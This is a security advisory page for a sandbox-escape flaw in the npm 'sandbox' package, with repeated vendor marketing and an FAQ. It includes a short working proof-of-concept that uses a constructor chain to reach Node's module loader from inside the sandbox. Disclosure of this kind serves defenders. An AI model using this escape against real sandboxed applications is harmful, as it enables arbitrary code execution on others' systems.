Summary
Sandbox Breakout / Arbitrary Code Execution in sandbox
All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
No fix is currently available. Consider using an alternative module until a fix is made available.
Frequently Asked Questions
- What is GHSA-FM4J-4XHM-XPWX? GHSA-FM4J-4XHM-XPWX is a medium-severity security vulnerability in sandbox (npm), affecting versions >= 0.0.0, < 1.0.0. No fixed version is listed yet.
- Which versions of sandbox are affected by GHSA-FM4J-4XHM-XPWX? sandbox (npm) versions >= 0.0.0, < 1.0.0 is affected.
- Is there a fix for GHSA-FM4J-4XHM-XPWX? No fixed version is listed for GHSA-FM4J-4XHM-XPWX yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-FM4J-4XHM-XPWX exploitable, and should I be worried? Whether GHSA-FM4J-4XHM-XPWX is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-FM4J-4XHM-XPWX is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.